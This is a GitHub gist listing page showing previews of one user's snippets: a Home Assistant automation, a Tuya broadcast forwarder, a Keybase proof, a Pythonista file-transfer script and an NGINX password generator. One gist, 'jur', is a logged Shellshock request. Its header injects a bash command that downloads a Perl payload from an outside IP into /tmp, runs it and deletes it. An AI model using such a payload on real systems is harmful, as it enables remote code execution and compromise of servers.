Skip to content

Instantly share code, notes, and snippets.

@jfparis
jfparis / gist:393c5d25f204ce4fc35908bee2472183
Created August 18, 2023 19:29
Turn off all media players
alias: Everybody left
description: ""
trigger:
- platform: state
entity_id: binary_sensor.anyone_home
to: "off"
for:
hours: 0
minutes: 2
seconds: 0
import sys
import json
import rumps
import base64
import traceback
from threading import Thread
from Foundation import NSData
from AppKit import NSImage, NSApplication
#!/usr/bin/python3
import asyncio
import argparse
import logging
_LOGGER = logging.getLogger(__name__)
class TuyaBroadcastFwder(asyncio.DatagramProtocol):

Keybase proof

I hereby claim:

  • I am jfparis on github.
  • I am jfparis (https://keybase.io/jfparis) on keybase.
  • I have a public key whose fingerprint is C4E7 DE2D 0CAD 01F1 8746 3421 112F F740 8389 7E12

To claim this, I am signing this object:

@jfparis
jfparis / FileTransfer.py
Last active August 30, 2015 11:36 — forked from omz/FileTransfer.py
File Transfer script for Pythonista (iOS)
# File Transfer for Pythonista
# ============================
# This script allows you to transfer Python files from
# and to Pythonista via local Wifi.
# It starts a basic HTTP server that you can access
# as a web page from your browser.
# When you upload a file that already exists, it is
# renamed automatically.
# From Pythonista's settings, you can add this script
# to the actions menu of the editor for quick access.
@jfparis
jfparis / jur
Last active August 29, 2015 14:07
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22
@jfparis
jfparis / gist:6152683
Created August 5, 2013 00:28
generate NGINX salted SHA1 password dumps
import subprocess
import hashlib
import base64
username=raw_input("username:")
password =raw_input("password:")
# use openssl to generate securly a salt
pipe = subprocess.Popen("openssl rand -base64 3", shell=True, bufsize=100, stdout=subprocess.PIPE).stdout
salt = pipe.readline().rstrip()